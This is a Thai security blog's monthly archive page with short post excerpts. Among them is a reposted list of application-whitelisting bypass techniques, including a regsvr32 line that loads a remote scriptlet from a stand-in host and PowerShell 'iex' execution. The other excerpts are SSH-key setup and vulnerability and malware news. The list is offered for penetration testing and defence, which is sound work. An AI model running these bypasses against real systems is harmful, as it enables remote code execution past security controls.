Posts by month
April 2017
SubTee สุดยอดนักหาวิธีการ bypass Application Whitelist(เช่น การป้องกันการรันโปรแกรมโดยใช้ AppLocker เป็นต้น) ได้ทำสรุปวิธีการ bypass ต่างๆไว้ใน Github สามารถไปติดตามกันได้เลยครับ บอกได้เลยว่าแต่ละวิธีแจ่มๆทั้งนั้น เรียนรู้เพื่อทั้งสำหรับการทำ Penetration testing และสำหรับการป้องกัน Protection ด้วยครับ Source:: SubTee Github
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
# The List # # As many organizations adopt a Whitelisting Strategy, this list seeks to compile known bypass techniques that can be used # by the security community. # # There are many various ways to WhiteList Applications # Future release will attempt to catalog what works against specific techniques. # Version .0.0.3 1. IEExec This technique may work in certain environments. Its relies on the fact that many organizations trust executables signed by Microsoft. We can misuse this trust by launching a specially crafted .NET application. Example Here: http://www.room362.com/blog/2014/01/16/application-whitelist-bypass-using-ieexec-dot-exe/ 2. Rundll32.exe 3. ClickOnce Applications dfsvc.exe dfshim.dll 4. XBAP - XML Browser Applications WPF PresentationHost.exe 5. MD5 Hash Collision http://www.mathstat.dal.ca/~selinger/md5collision/ 6. PowerShell Specifically Reflective Execution http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf 7. .HTA Application Invoke PowerShell Scripts Launched by mshta.exe, bypasses IE security settings as well. 8. bat, vbs, ps1 1. cmd.exe /k < script.txt 2. cscript.exe //E:vbscript script.txt 3. Get-Content script.txt | iex 9. Malicious Troubleshooting packs - MSDT.exe Reference: http://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/ Thanks to @nberthaume, @Killswitch_GUI 10. InstallUtil.exe A signed MS binary that loads assemblies and executes - One of the best. Examples here: https://gist.github.com/subTee 11. Regsvcs/Regasm See: https://gist.github.com/subTee/fb09ef511e592e6f7993 These 2 are Excellent. 12. regsvr32.exe https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302 This one is just simply amazing... regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll 13. Msbuild.exe http://subt0x10.blogspot.com/2016/09/bypassing-application-whitelisting.html |
โดยปกติการ remote เข้าใช้งาน SSH(Secure Shell) จะเป็นการใช้งานแบบ username/password แต่ทีนี้หากเราต้องการใช้ key ในการ authentication หรือยืนยันตัวตนแทน เราสามารถทำได้โดย 1. ที่เครื่องของ client สร้าง key ขึ้นมาโดยใช้คำสั่ง
หลังจากนั้นจะได้ไฟล์มา 2 ไฟล์คือ
2. Copy file public key ไปยังเครื่อง…
|
1 2 3 |
ssh-keygen -t rsa หรือ ssh-keygen -t rsa -b 4096 |
|
1 2 |
- $HOME/.ssh/id_rsa – contains your private key. - $HOME/.ssh/id_rsa.pub – contain your public key. |
หลายคนมักเจอคนขาย Mac ชอบพูดว่า MacOS ไม่มี Malware ไม่ต้องกลัว ซึ่งแน่นอนว่ามันไม่จริง ข่าวนี้เป็นอีกครั้งการยืนยันว่า Malware ใน MacOS นั้นมีอยู่จริง แถมเป็น malware ที่มีฤทธิ์ค่อนข้างร้ายกาจอีกด้วย Checkpoint พบ Malware ใน MacOS ที่ชื่อว่า OSX/Dok โดย malware ตัวนี้สามารถทำงานได้บน MacOS ทุกๆ version จากการตรวจสอบโดยการ…
HideMyAss Pro VPN client เป็น client ที่ใช้สำหรับการติดต่อไปยัง VPN Server ของ HideMyAss Pro VPN ซึ่งทำให้การใช้งานทางด้าน network มีการเข้ารหัสที่ปลอดภัย แต่หารู้ไม่ว่ากลับแฝงด้วยภัยอันตรายอย่างอื่นจากการใช้งาน service นี้แทน Securify พบช่องโหว่หลายช่องโหว่ใน component หนึ่งที่ชื่อว่า HMAHelper ซึ่งเป็นส่วนหนึ่งของ HideMyAss Pro VPN client มีช่องโหว่ที่ทำให้เกิด local privilege escalation…
โดยปกติ Shell ใน Linux จะมีการตั้งค่าในการแสดงผลต่างๆไว้ ทำให้เวลาเข้าใช้งานผู้ใช้งานสามารถทราบรายละเอียดของการทำงานต่างๆ ณ ปัจจุบันของตัวผู้ใช้งานเองได้ โดยตัวแปรที่เก็บและกำหนดลักษณะการแสดงผลต่างๆของ Shell มีดังนี้ PS1 – เป็นตัวแปรที่เก็บค่าของ default prompt (ด้านซ้ายสุดที่จะขึ้นทุกครั้งที่อยู่ในงาน Shell) PS2 – เป็นตัวแปรที่เก็บค่าของ prompt เมื่อมีการใส่คำสั่งหลายๆบรรทัด PS3 – เป็นตัวแปรที่จะใข้งานเมื่อมีการเลือกคำสั่งตอนใช้งาน Bash Script PS4 –…
หลังจากที่ Shadow Broker ได้ปล่อย Set เครื่องมือการโจมตีต่างๆออกมาก่อนหน้านี้แล้วมีการนำไปใช้โจมตีกันอย่างกว้างขวาง ซึ่งการตรวจสอบว่าเราได้ถูกติดตั้ง Backdoor ไว้แล้วหรือยัง เราสามารถทำได้โดยการใช้ script ของ NMAP ซึ่งเอาไว้ตรวจสอบว่าเครื่องเราถูกโจมตีแล้วฝัง Backdoor ไว้แล้วหรือไม่ แต่หากใครไม่ต้องการจะตรวจสอบเอง ก็มีคนทำ web service สำหรับการตรวจสอบ Backdoor นี้แบบ online ไว้ให้ โดยเข้าไปที่ https://doublepulsar.below0day.com/ ปล. หวังว่าคงไม่มีใครที่ไหนในโลกแอบทำเว็บไซด์อ้างว่าตรวจสอบช่องโหว่แล้วไปเรียกใช้งานเว็บไซด์นี้แบบที่เคยเกิดขึ้นกับเว็บไซด์ตรวจสอบ Heartbleed นะครับ
Kali ถือเป็น OS ที่นิยมในการกระทำ Penetration Testing โดยล่าสุดมีการปล่อย version 2017.1 ออกมาแล้วครับ โดยมีรายละเอียดดังนี้ครับ 1. Support RTL8812AU Wireless Card Injection RTL8812AU เป็น Wireless Card ที่ support 802.1 AC ซึ่งแต่ก่อนไม่ได้มีการ support ให้สามารถทำการส่ง packet (injection) …
IBM Storwize เป็น Storage สำหรับองค์กร โดยมีหลากหลายรุ่นให้เลือกใช้ ซึ่งจำเป็นต้องมีการ setup configuration ผ่าน computer ด้วย ซึ่งการ setup configuration นั้นจะกระทำผ่าน USB ที่แนบมาให้ด้วย แต่ล่าสุดพบว่า USB ที่แนบมาด้วยนั้นมีการฝัง malware มาด้วย ถือว่าความเชื่อถือของ Lenovo กลับมาถูกทำลายอีกครั้งหลังจากพบว่า USB Flash drive ที่เป็นเครื่องมือสำหรับการ…
Western Digital My Cloud เป็น centralized personal storage ซึ่งทำให้สามารถเข้าถึงไฟล์และ backup file ต่างๆได้ง่ายขึ้น ล่าสุดมีการพบช่องโหว่ที่ทำให้สามารถ bypass การ login ให้สามารถเข้าถึงส่วน admin ได้ครับ Securify พบพฤติกรรมที่ทำให้สามารถ bypass authentication ได้ โดยทดสอบกับ Western Digital My Cloud model WDBCTL0020HWT ใน…
VDO จากงาน Computer Security อีกงานครับ มีหัวข้อน่าสนใจหลายหัวข้อเลย ลองดูนะครับ Link
LINE@Techsuii.com
Recent Comments